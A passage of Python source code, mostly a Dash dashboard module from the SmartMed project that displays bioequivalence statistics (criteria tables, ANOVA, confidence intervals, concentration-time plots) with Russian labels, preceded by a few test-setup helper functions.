H0_in=[]): sim_specs, gen_specs, exit_criteria = make_criteria_and_specs_0(simx=sim_max) alloc_specs = {'alloc_f': give_sim_work_first, 'out':[('allocated', bool)]} #default for libE H0=H0_in hist = History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0) return hist, sim_specs, gen_specs, exit_criteria, alloc_specs def hist_setup2(sim_max=10, H0_in=[]): sim_specs, gen_specs, exit_criteria = make_criteria_and_specs_1(simx=sim_max) alloc_specs = {'alloc_f': give_sim_work_first, 'out':[('allocated', bool)]} #default for libE H0=H0_in hist = History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0) return hist, sim_specs, gen_specs, exit_criteria, alloc_specs def hist_setup2A_genout_sim_ids(sim_max=10): sim_specs, gen_specs, exit_criteria = make_criteria_and_specs_1A(simx=sim_max) alloc_specs = {'alloc_f': give_sim_work_first, 'out':[('allocated', bool)]} #default for libE H0=[] hist = History(alloc_specs, sim_specs, gen_specs, exit_criteria, H0) return hist, sim_specs, gen_specs, exit_criteria, alloc_specs

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ce23262bd1b8f73aa6bd64a6187908084ec94ccc

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Python

SmartMedApp/backend/modules/dash/BioequivalenceDashboard.py

vovochkab/SmartMed

123540263db8ec2225e7bb0ea949ba96a8c5d4f3

[ "Apache-2.0" ]

2

2020-10-05T18:03:46.000Z

2020-11-15T18:54:53.000Z

SmartMedApp/backend/modules/dash/BioequivalenceDashboard.py

vovochkab/SmartMed

123540263db8ec2225e7bb0ea949ba96a8c5d4f3

[ "Apache-2.0" ]

2

2021-09-25T15:20:19.000Z

2021-09-26T15:56:52.000Z

SmartMedApp/backend/modules/dash/BioequivalenceDashboard.py

vovochkab/SmartMed

123540263db8ec2225e7bb0ea949ba96a8c5d4f3

[ "Apache-2.0" ]

7

2020-09-07T17:28:54.000Z

2021-10-01T14:32:18.000Z

import dash import dash_table import dash_core_components as dcc import dash_html_components as html import plotly.graph_objects as go import plotly.express as px import numpy as np import pandas as pd from math import e from .text.markdown_bio import * from .Dashboard import Dashboard def round_df(df): cols = df.columns for j in range(0, len(cols)): for i in range(len(df)): if type(df.iloc[i, j]) != str and type(df.iloc[i, j]) != int: num = str(df.iloc[i, j]) num = num.replace(']', '') while not num[0].isdigit(): num = num[1:] if df.iloc[i, j] < 1000 and df.iloc[i, j] >= 0.01: point = num.find('.') df.iloc[i, j] = num[:point + 3] elif df.iloc[i, j] > 1000: point = num.find('.') num = num[:point] df.iloc[i, j] = num[0] + '.' + \ num[1:3] + 'e' + str(len(num) - 1) elif 'e' in num: epos = num.find('e') df.iloc[i, j] = num[0:4] + num[epos:] elif df.iloc[i, j] < 0.01: notnul = 2 while len(num) < notnul and num[notnul] == '0': notnul += 1 if notnul == len(num): df.iloc[i, j] = '0' else: df.iloc[i, j] = num[notnul] + '.' + \ num[notnul + 1:notnul + 3] + 'e-' + str(notnul - 1) return df class BioequivalenceDashboard(Dashboard): def _generate_layout(self): # metrics inludings is checked inside method return html.Div(self.graphs_and_lists) def _generate_criteria(self): if self.settings[0].plan == 'parallel': if self.settings[0].check_normal == 'Kolmogorov' and self.settings[0].check_uniformity == 'F': data = {'Критерий': ['Колмогорова-Смирнова', 'Колмогорова-Смирнова', 'F-критерий'], 'Группа': ['R', 'T', 'RT'], 'Значение критерия': [self.settings[0].kstest_r[0], self.settings[0].kstest_t[0], self.settings[0].f[0]], 'p-уровень': [self.settings[0].kstest_r[1], self.settings[0].kstest_t[1], self.settings[0].f[1]]} elif self.settings[0].check_normal == 'Kolmogorov' and self.settings[0].check_uniformity == 'Leven': data = {'Критерий': ['Колмогорова-Смирнова', 'Колмогорова-Смирнова', 'Левена'], 'Группа': ['R', 'T', 'RT'], 'Значение критерия': [self.settings[0].kstest_r[0], self.settings[0].kstest_t[0], self.settings[0].levene[0]], 'p-уровень': [self.settings[0].kstest_r[1], self.settings[0].kstest_t[1], self.settings[0].levene[1]]} elif self.settings[0].check_normal == 'Shapiro' and self.settings[0].check_uniformity == 'Leven': data = {'Критерий': ['Шапиро-Уилка', 'Шапиро-Уилка', 'Левена'], 'Группа': ['R', 'T', 'RT'], 'Значение критерия': [self.settings[0].shapiro_r[0], self.settings[0].shapiro_t[0], self.settings[0].levene[0]], 'p-уровень': [self.settings[0].shapiro_r[1], self.settings[0].shapiro_t[1], self.settings[0].levene[1]]} else: data = {'Критерий': ['Шапиро-Уилка', 'Шапиро-Уилка', 'F-критерий'], 'Группа': ['R', 'T', 'RT'], 'Значение критерия': [self.settings[0].shapiro_r[0], self.settings[0].shapiro_t[0], self.settings[0].f[0]], 'p-уровень': [self.settings[0].shapiro_r[1], self.settings[0].shapiro_t[1], self.settings[0].f[1]]} df = pd.DataFrame(data) df = round_df(df) return html.Div([html.Div(html.H1(children='Выполнение критериев'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='criteria', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_cell_conditional=[ {'if': {'column_id': 'Критерий'}, 'width': '25%'}, {'if': {'column_id': 'Группа'}, 'width': '25%'}, {'if': {'column_id': 'Значение критерия'}, 'width': '25%'}, {'if': {'column_id': 'p-уровень'}, 'width': '25%'}, ], style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '78%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=markdown_text_criteria), style={ 'width': '18%', 'float': 'right', 'display': 'inline-block'}) ]) ], style={'margin': '50px'} ) else: if self.settings[0].check_normal =='Kolmogorov': data = {'Критерий':['Бартлетта', 'Бартлетта', 'Колмогорова-Смирнова', 'Колмогорова-Смирнова', 'Колмогорова-Смирнова', 'Колмогорова-Смирнова'], 'Выборки':['Первая и вторая группы', 'Период 1 и период 2', 'Первая группа тестовый препарат', 'Первая группа референсный препарат', 'Вторая группа тестовый препарат', 'Вторя группа референсный препарат'], 'Значение критерия':[self.settings[0].bartlett_groups[0], self.settings[0].bartlett_period[0], self.settings[0].kstest_t_1[0], self.settings[0].kstest_r_1[0], self.settings[0].kstest_t_2[0], self.settings[0].kstest_r_2[0]], 'p-уровень':[self.settings[0].bartlett_groups[1], self.settings[0].bartlett_period[1], self.settings[0].kstest_t_1[1], self.settings[0].kstest_r_1[1], self.settings[0].kstest_t_2[1], self.settings[0].kstest_r_2[1]]} else: data = {'Критерий':['Бартлетта', 'Бартлетта', 'Шапиро-Уилка', 'Шапиро-Уилка', 'Шапиро-Уилка', 'Шапиро-Уилка'], 'Выборки':['Первая и вторая группы', 'Период 1 и период 2', 'Первая группа тестовый препарат', 'Первая группа референсный препарат', 'Вторая группа тестовый препарат', 'Вторя группа референсный препарат'], 'Значение критерия':[self.settings[0].bartlett_groups[0], self.settings[0].bartlett_period[0], self.settings[0].shapiro_t_1[0], self.settings[0].shapiro_r_1[0], self.settings[0].shapiro_t_2[0], self.settings[0].shapiro_r_2[0]], 'p-уровень':[self.settings[0].bartlett_groups[1], self.settings[0].bartlett_period[1], self.settings[0].shapiro_t_1[1], self.settings[0].shapiro_r_1[1], self.settings[0].shapiro_t_2[1], self.settings[0].shapiro_r_2[1]]} df = pd.DataFrame(data) df = round_df(df) return html.Div([html.Div(html.H1(children='Выполнение критериев'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='criteria', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_cell_conditional=[ {'if': {'column_id': 'Критерий'}, 'width': '25%'}, {'if': {'column_id': 'Выборки'}, 'width': '25%'}, {'if': {'column_id': 'Значение критерия'}, 'width': '25%'}, {'if': {'column_id': 'p-уровень'}, 'width': '25%'}, ], style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '78%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=markdown_text_criteria), style={ 'width': '18%', 'float': 'right', 'display': 'inline-block'}) ]) ], style={'margin': '50px'} ) def _generate_param(self): data = {'Группа': ['R', 'T'], 'AUC': [float(np.mean(self.settings[0].auc_r_notlog)), float(np.mean(self.settings[0].auc_t_notlog))], 'AUC_inf': [float(np.mean(self.settings[0].auc_r_infty)), float(np.mean(self.settings[0].auc_t_infty))], 'ln AUC': [float(np.mean(self.settings[0].auc_r)), float(np.mean(self.settings[0].auc_t))], 'ln AUC_inf': [float(np.mean(self.settings[0].auc_r_infty_log)), float(np.mean(self.settings[0].auc_t_infty_log))], 'ln Tmax': [float(np.log(self.settings[0].concentration_r.columns.max())), float(np.log(self.settings[0].concentration_t.columns.max()))], 'ln Cmax': [float(np.log(self.settings[0].concentration_r.max().max())), float(np.log(self.settings[0].concentration_t.max().max()))]} df = pd.DataFrame(data) df = round_df(df) return html.Div([html.Div(html.H1(children='Таблица с распределением ключевых параметров по группам'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='param', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '68%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=markdown_text_param), style={'width': '28%', 'float': 'right', 'display': 'inline-block', 'padding': '5px', 'margin': '5px'}) ]) ], style={'margin': '50px'} ) def _generate_log_auc(self): data = {'Группа': ['TR', 'RT'], 'ln AUC T': [float(np.mean(self.settings[0].auc_t_1)), float(np.mean(self.settings[0].auc_t_2))], 'ln AUC R': [float(np.mean(self.settings[0].auc_r_1)), float(np.mean(self.settings[0].auc_r_2))]} df = pd.DataFrame(data) df = round_df(df) return html.Div([html.Div(html.H1(children='Средние площади под графиком по каждому препарату'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='param', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '78%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=markdown_text_log_auc), style={ 'width': '18%', 'float': 'right', 'display': 'inline-block'}) ]) ], style={'margin': '50px'} ) def _generate_anova(self): if self.settings[0].plan == 'parallel': df = self.settings[0].anova[0] mark = markdown_text_anova heading = 'Результаты классического дисперсионного анализа' marg = '250px' else: df = self.settings[0].anova mark = markdown_text_anova_cross heading = 'Результаты двухфакторного дисперсионного анализа' marg = '50px' df = round_df(df) return html.Div([html.Div(html.H1(children=heading), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='anova', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_cell_conditional=[ {'if': {'column_id': 'SS'}, 'width': '20%'}, {'if': {'column_id': 'df'}, 'width': '20%'}, {'if': {'column_id': 'MS'}, 'width': '20%'}, {'if': {'column_id': 'F'}, 'width': '20%'}, {'if': {'column_id': 'F крит.'}, 'width': '20%'} ], style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '78%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=mark), style={ 'width': '18%', 'float': 'right', 'display': 'inline-block'}) ]) ], style={'margin': '50px', 'margin-top': marg} ) def _generate_interval(self): data = {'Критерий': ['Биоэквивалентности', 'Бионеэквивалентности'], 'Нижняя граница': [100 * (e**self.settings[0].oneside_eq[0]), 100 * (e**self.settings[0].oneside_noteq[0])], 'Верхняя граница': [100 * (e**self.settings[0].oneside_eq[1]), 100 * (e**self.settings[0].oneside_noteq[1])], 'Доверительный интервал критерия': ['80.00-125.00%', '80.00-125.00%'], 'Выполнение критерия': ['Выполнен' if (self.settings[0].oneside_eq[0] > -0.223 and self.settings[0].oneside_eq[1] < 0.223) else 'Не выполнен', 'Выполнен' if (self.settings[0].oneside_noteq[0] > 0.223 or self.settings[0].oneside_noteq[1] < -0.223) else 'Не выполнен']} df = pd.DataFrame(data) df = round_df(df) return html.Div([html.Div(html.H1(children='Результаты оценки биоэквивалентности'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([dash_table.DataTable( id='interval', columns=[{"name": i, "id": i, "deletable": True} for i in df.columns], data=df.to_dict('records'), style_table={'overflowX': 'auto'}, export_format='xlsx' )], style={'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px', 'margin': '5px'})], style={'width': '78%', 'display': 'inline-block'}), html.Div(dcc.Markdown(children=markdown_text_interval), style={ 'width': '18%', 'float': 'right', 'display': 'inline-block'}) ]) ], style={'margin': '50px', 'margin-top': '150px'} ) def _generate_concentration_time(self, ref=True): if ref: df = self.settings[0].concentration_r time = df.columns def update_graph(yaxis_column_name_conc_r): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_r], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_r])]], y = [max(df.loc[ yaxis_column_name_conc_r])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_r])]], y = [min(df.loc[ yaxis_column_name_conc_r])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_r, type='linear') return fig self.app.callback(dash.dependencies.Output('concentration_time_r', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_r', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости концентрации от времени группа референсного препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_r', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_r')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_r), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) else: df = self.settings[0].concentration_t time = df.columns def update_graph(yaxis_column_name_conc_t): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_t], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_t])]], y = [max(df.loc[ yaxis_column_name_conc_t])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_t])]], y = [min(df.loc[ yaxis_column_name_conc_t])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_t, type='linear') return fig self.app.callback(dash.dependencies.Output('concentration_time_t', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_t', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости концентрации от времени группа тестового препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_t', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_t')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_t), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_log(self, ref=True): if ref: df = self.settings[0].concentration_r time = df.columns def update_graph(yaxis_column_name_conc_r_log): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_r_log], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_r_log])]], y = [max(df.loc[ yaxis_column_name_conc_r_log])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_r_log])]], y = [min(df.loc[ yaxis_column_name_conc_r_log])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_r_log, type='log') return fig self.app.callback(dash.dependencies.Output('concentration_time_r_log', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_r_log', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости прологарифмированной концентрации от времени группа референсного препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_r_log', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_r_log')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_r_log), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) else: df = self.settings[0].concentration_t time = df.columns def update_graph(yaxis_column_name_conc_t_log): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_t_log], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_t_log])]], y = [max(df.loc[ yaxis_column_name_conc_t_log])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_t_log])]], y = [min(df.loc[ yaxis_column_name_conc_t_log])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_t_log, type='log') return fig self.app.callback(dash.dependencies.Output('concentration_time_t_log', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_t_log', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости прологарифмированной концентрации от времени группа тестового препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_t_log', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_t_log')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_t_log), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_linlog(self, ref=True): if ref: df = self.settings[0].concentration_r time = df.columns def update_graph(yaxis_column_name_conc_r_linlog, yaxis_type_conc_r_linlog): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_r_linlog], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_r_linlog])]], y = [max(df.loc[ yaxis_column_name_conc_r_linlog])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_r_linlog])]], y = [min(df.loc[ yaxis_column_name_conc_r_linlog])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_r_linlog, type=yaxis_type_conc_r_linlog) return fig self.app.callback(dash.dependencies.Output('concentration_time_r_linlog', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_r_linlog', 'value'), dash.dependencies.Input('yaxis_type_conc_r_linlog', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости концентрации от времени группа референсного препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_r_linlog', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), html.Div([dcc.RadioItems( id='yaxis_type_conc_r_linlog', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block', 'float': 'right'}) ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_r_linlog')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_r), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) else: df = self.settings[0].concentration_t time = df.columns def update_graph(yaxis_column_name_conc_t_linlog, yaxis_type_conc_t_linlog): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df.loc[ yaxis_column_name_conc_t_linlog], name='График')) fig.add_trace(go.Scatter(x=[time[np.argmax(df.loc[ yaxis_column_name_conc_t_linlog])]], y = [max(df.loc[ yaxis_column_name_conc_t_linlog])], mode='markers', name='Максимум', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df.loc[ yaxis_column_name_conc_t_linlog])]], y = [min(df.loc[ yaxis_column_name_conc_t_linlog])], mode='markers', name='Минимум', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_t_linlog, type=yaxis_type_conc_t_linlog) return fig self.app.callback(dash.dependencies.Output('concentration_time_t_linlog', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_t_linlog', 'value'), dash.dependencies.Input('yaxis_type_conc_t_linlog', 'value')])(update_graph) available_indicators = df.index return html.Div([html.Div(html.H1(children='График зависимости концентрации от времени группа тестового препарата'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_t_linlog', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), html.Div([dcc.RadioItems( id='yaxis_type_conc_t_linlog', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'display': 'inline-block', 'float': 'right'}) ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_t_linlog')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_t), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_cross(self, tr=True): if tr: df_t = self.settings[0].concentration_t_1 df_r = self.settings[0].concentration_r_1 time = df_t.columns def update_graph(yaxis_column_name_conc_tr, yaxis_type_conc_tr): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_t.loc[ yaxis_column_name_conc_tr], name='T')) fig.add_trace(go.Scatter(x=time, y=df_r.loc[ yaxis_column_name_conc_tr], name='R')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t.loc[ yaxis_column_name_conc_tr])]], y = [max(df_t.loc[ yaxis_column_name_conc_tr])], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t.loc[ yaxis_column_name_conc_tr])]], y = [min(df_t.loc[ yaxis_column_name_conc_tr])], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r.loc[ yaxis_column_name_conc_tr])]], y = [max(df_r.loc[ yaxis_column_name_conc_tr])], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r.loc[ yaxis_column_name_conc_tr])]], y = [min(df_r.loc[ yaxis_column_name_conc_tr])], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_tr, type=yaxis_type_conc_tr) return fig self.app.callback(dash.dependencies.Output('concentration_time_tr', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_tr', 'value'), dash.dependencies.Input('yaxis_type_conc_tr', 'value')])(update_graph) available_indicators = df_t.index return html.Div([html.Div(html.H1(children='Индивидуальные графики концентрации для пациентов группа TR'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_tr', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), html.Div([dcc.RadioItems( id='yaxis_type_conc_tr', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'float': 'right', 'display': 'inline-block'}) ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_tr')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_concentration_time_cross_tr), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) else: df_t = self.settings[0].concentration_t_2 df_r = self.settings[0].concentration_r_2 time = df_t.columns def update_graph(yaxis_column_name_conc_rt, yaxis_type_conc_rt): fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_t.loc[ yaxis_column_name_conc_rt], name='T')) fig.add_trace(go.Scatter(x=time, y=df_r.loc[ yaxis_column_name_conc_rt], name='R')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t.loc[ yaxis_column_name_conc_rt])]], y = [max(df_t.loc[ yaxis_column_name_conc_rt])], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t.loc[ yaxis_column_name_conc_rt])]], y = [min(df_t.loc[ yaxis_column_name_conc_rt])], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r.loc[ yaxis_column_name_conc_rt])]], y = [max(df_r.loc[ yaxis_column_name_conc_rt])], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r.loc[ yaxis_column_name_conc_rt])]], y = [min(df_r.loc[ yaxis_column_name_conc_rt])], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title=yaxis_column_name_conc_rt, type=yaxis_type_conc_rt) return fig self.app.callback(dash.dependencies.Output('concentration_time_rt', 'figure'), [dash.dependencies.Input('yaxis_column_name_conc_rt', 'value'), dash.dependencies.Input('yaxis_type_conc_rt', 'value')])(update_graph) available_indicators = df_t.index return html.Div([html.Div(html.H1(children='Индивидуальные графики концентрации для пациентов группа RT'), style={'text-align': 'center'}), html.Div([ html.Div([ html.Div([ dcc.Markdown( children="Выберите показатель для оси ОY:"), dcc.Dropdown( id='yaxis_column_name_conc_rt', options=[{'label': i, 'value': i} for i in available_indicators], value=available_indicators[0] ) ], style={'width': '48%', 'display': 'inline-block'}), html.Div([dcc.RadioItems( id='yaxis_type_conc_rt', options=[{'label': i, 'value': i} for i in ['linear', 'log']], value='linear' )], style={'width': '48%', 'float': 'right', 'display': 'inline-block'}) ], style={'padding': '5px'}), dcc.Graph(id='concentration_time_rt')], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_concentration_time_cross_rt), style={'width': '18%', 'float': 'right', 'display': 'inline-block'})], style={'margin': '100px'} ) def _generate_concentration_time_mean(self): df_r = self.settings[0].concentration_r.mean() df_t = self.settings[0].concentration_t.mean() time = df_t.index fig = go.Figure() fig.add_trace(go.Scatter(x=time, y=df_r, name='R')) fig.add_trace(go.Scatter(x=time, y=df_t, name='T')) fig.add_trace(go.Scatter(x=[time[np.argmax(df_t)]], y = [max(df_t)], mode='markers', name='Максимум T', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_t)]], y = [min(df_t)], mode='markers', name='Минимум T', marker=dict(size = 15, color = 'green'))) fig.add_trace(go.Scatter(x=[time[np.argmax(df_r)]], y = [max(df_r)], mode='markers', name='Максимум R', marker=dict(size = 15, color = 'violet'))) fig.add_trace(go.Scatter(x=[time[np.argmin(df_r)]], y = [min(df_r)], mode='markers', name='Минимум R', marker=dict(size = 15, color = 'green'))) fig.update_xaxes(title='Время') fig.update_yaxes(title='Концентрация', type='linear') return html.Div([html.Div(html.H1(children='Обобщенный график зависимости концентрации от времени'), style={'text-align': 'center'}), html.Div([ dcc.Graph(id='concentration_time_mean', figure=fig)], style={'width': '78%', 'display': 'inline-block', 'border-color': 'rgb(220, 220, 220)', 'border-style': 'solid', 'padding': '5px'}), html.Div(dcc.Markdown(children=markdown_text_conc_time_mean), style={'width': '18%', 'float': 'right', 'display': 